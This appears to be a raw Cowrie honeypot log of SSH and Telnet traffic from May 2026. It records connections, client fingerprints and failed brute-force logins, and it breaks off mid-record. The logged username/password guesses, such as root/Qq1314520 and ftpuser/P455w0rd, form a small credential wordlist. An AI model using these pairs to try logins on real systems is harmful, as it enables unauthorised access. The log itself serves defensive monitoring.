{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52670,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd606fa5d53d","protocol":"telnet","message":"New connection: 134.209.8.29:52670 (159.203.135.109:23) [session: cd606fa5d53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:51.476971Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq1314520","message":"login attempt [root/Qq1314520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:51.755822Z","src_ip":"165.22.63.98","session":"d5cac0af70e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEEN8VCPU32GBAMD","message":"login attempt [root/QUEEN8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:51.821011Z","src_ip":"94.156.152.18","session":"7732da62132e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:52.951378Z","src_ip":"94.156.152.18","session":"7732da62132e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:52.998021Z","src_ip":"165.22.63.98","session":"d5cac0af70e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":38090,"dst_ip":"159.203.135.109","dst_port":23,"session":"e07eec9f03bf","protocol":"telnet","message":"New connection: 194.233.64.34:38090 (159.203.135.109:23) [session: e07eec9f03bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:53.130976Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":54738,"dst_ip":"159.203.135.109","dst_port":22,"session":"5debe96b4dca","protocol":"ssh","message":"New connection: 152.32.189.59:54738 (159.203.135.109:22) [session: 5debe96b4dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:53.515591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:53.524392Z","src_ip":"152.32.189.59","session":"5debe96b4dca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:53.743887Z","src_ip":"152.32.189.59","session":"5debe96b4dca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.782339572906494,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:54.259199Z","src_ip":"134.209.8.29","session":"cd606fa5d53d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50250,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f46f68bb791","protocol":"telnet","message":"New connection: 134.209.8.29:50250 (159.203.135.109:23) [session: 1f46f68bb791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:54.339741Z"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo@2024","message":"login attempt [odoo/odoo@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:54.664788Z","src_ip":"152.32.189.59","session":"5debe96b4dca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:58:55.888306Z","src_ip":"152.32.189.59","session":"5debe96b4dca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50262,"dst_ip":"159.203.135.109","dst_port":23,"session":"9164b8a8e680","protocol":"telnet","message":"New connection: 134.209.8.29:50262 (159.203.135.109:23) [session: 9164b8a8e680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:00.152220Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":36546,"dst_ip":"10.17.0.5","dst_port":22,"session":"65ea1fca709a","protocol":"ssh","message":"New connection: 148.216.28.11:36546 (10.17.0.5:22) [session: 65ea1fca709a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:01.321120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:01.326187Z","src_ip":"148.216.28.11","session":"65ea1fca709a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:01.394128Z","src_ip":"148.216.28.11","session":"65ea1fca709a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tes","password":"test","message":"login attempt [tes/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:01.693897Z","src_ip":"148.216.28.11","session":"65ea1fca709a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:02.765301Z","src_ip":"148.216.28.11","session":"65ea1fca709a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50712,"dst_ip":"159.203.135.109","dst_port":23,"session":"375aa9b45f51","protocol":"telnet","message":"New connection: 134.209.8.29:50712 (159.203.135.109:23) [session: 375aa9b45f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:04.427310Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":36556,"dst_ip":"159.203.135.109","dst_port":22,"session":"82457e421b0c","protocol":"ssh","message":"New connection: 187.141.71.166:36556 (159.203.135.109:22) [session: 82457e421b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:05.838331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:05.843554Z","src_ip":"187.141.71.166","session":"82457e421b0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:05.963660Z","src_ip":"187.141.71.166","session":"82457e421b0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"P455w0rd","message":"login attempt [ftpuser/P455w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:06.472846Z","src_ip":"187.141.71.166","session":"82457e421b0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:07.596186Z","src_ip":"187.141.71.166","session":"82457e421b0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.33514142036438,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:13.988550Z","src_ip":"134.209.8.29","session":"491465971c04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46296,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5c43308af97","protocol":"telnet","message":"New connection: 134.209.8.29:46296 (159.203.135.109:23) [session: f5c43308af97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:15.960333Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46300,"dst_ip":"159.203.135.109","dst_port":23,"session":"f498b660e450","protocol":"telnet","message":"New connection: 134.209.8.29:46300 (159.203.135.109:23) [session: f498b660e450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:17.920394Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46292,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ada4c037b9c","protocol":"telnet","message":"New connection: 134.209.8.29:46292 (159.203.135.109:23) [session: 2ada4c037b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:19.204353Z"}
{"eventid":"cowrie.session.closed","duration":5.4168782234191895,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:21.377032Z","src_ip":"134.209.8.29","session":"f5c43308af97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.73863220214844,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:22.618518Z","src_ip":"134.209.8.29","session":"475869b657e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37408,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1f9eab9ce9c","protocol":"telnet","message":"New connection: 134.209.8.29:37408 (159.203.135.109:23) [session: d1f9eab9ce9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:23.375805Z"}
{"eventid":"cowrie.session.closed","duration":31.189378023147583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:24.320269Z","src_ip":"194.233.64.34","session":"e07eec9f03bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37406,"dst_ip":"159.203.135.109","dst_port":23,"session":"eff0b745f25c","protocol":"telnet","message":"New connection: 134.209.8.29:37406 (159.203.135.109:23) [session: eff0b745f25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:24.776253Z"}
{"eventid":"cowrie.session.closed","duration":8.27214002609253,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:31.647850Z","src_ip":"134.209.8.29","session":"d1f9eab9ce9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.68184161186218,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:34.933431Z","src_ip":"134.209.8.29","session":"b4cb6a5e7731","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.715555906295776,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:37.142754Z","src_ip":"134.209.8.29","session":"375aa9b45f51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.23815846443176,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:41.577777Z","src_ip":"134.209.8.29","session":"1f46f68bb791","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59334,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8116ebbe673","protocol":"telnet","message":"New connection: 134.209.8.29:59334 (159.203.135.109:23) [session: c8116ebbe673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:43.864645Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59340,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8773cafb877","protocol":"telnet","message":"New connection: 134.209.8.29:59340 (159.203.135.109:23) [session: f8773cafb877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:45.668359Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":32890,"dst_ip":"10.17.0.5","dst_port":22,"session":"08f2f67e981e","protocol":"ssh","message":"New connection: 148.216.28.11:32890 (10.17.0.5:22) [session: 08f2f67e981e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:49.021660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:49.027119Z","src_ip":"148.216.28.11","session":"08f2f67e981e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:49.095277Z","src_ip":"148.216.28.11","session":"08f2f67e981e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123@","message":"login attempt [ubuntu/ubuntu123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:49.397404Z","src_ip":"148.216.28.11","session":"08f2f67e981e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.416006088256836,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:49.568075Z","src_ip":"134.209.8.29","session":"9164b8a8e680","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:50.469025Z","src_ip":"148.216.28.11","session":"08f2f67e981e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":44510,"dst_ip":"159.203.135.109","dst_port":22,"session":"ced590548417","protocol":"ssh","message":"New connection: 165.22.63.98:44510 (159.203.135.109:22) [session: ced590548417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:51.028191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:51.041407Z","src_ip":"165.22.63.98","session":"ced590548417","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:51.278641Z","src_ip":"165.22.63.98","session":"ced590548417","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser2026","message":"login attempt [testuser/testuser2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:52.256850Z","src_ip":"165.22.63.98","session":"ced590548417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:53.496495Z","src_ip":"165.22.63.98","session":"ced590548417","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35134,"dst_ip":"159.203.135.109","dst_port":23,"session":"f69603ab2c95","protocol":"telnet","message":"New connection: 134.209.8.29:35134 (159.203.135.109:23) [session: f69603ab2c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:56.316438Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35146,"dst_ip":"159.203.135.109","dst_port":23,"session":"c73eda4f5c11","protocol":"telnet","message":"New connection: 134.209.8.29:35146 (159.203.135.109:23) [session: c73eda4f5c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:59:58.755486Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":56164,"dst_ip":"159.203.135.109","dst_port":22,"session":"1152bb49e180","protocol":"ssh","message":"New connection: 187.141.71.166:56164 (159.203.135.109:22) [session: 1152bb49e180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:00.764629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:00.771824Z","src_ip":"187.141.71.166","session":"1152bb49e180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hell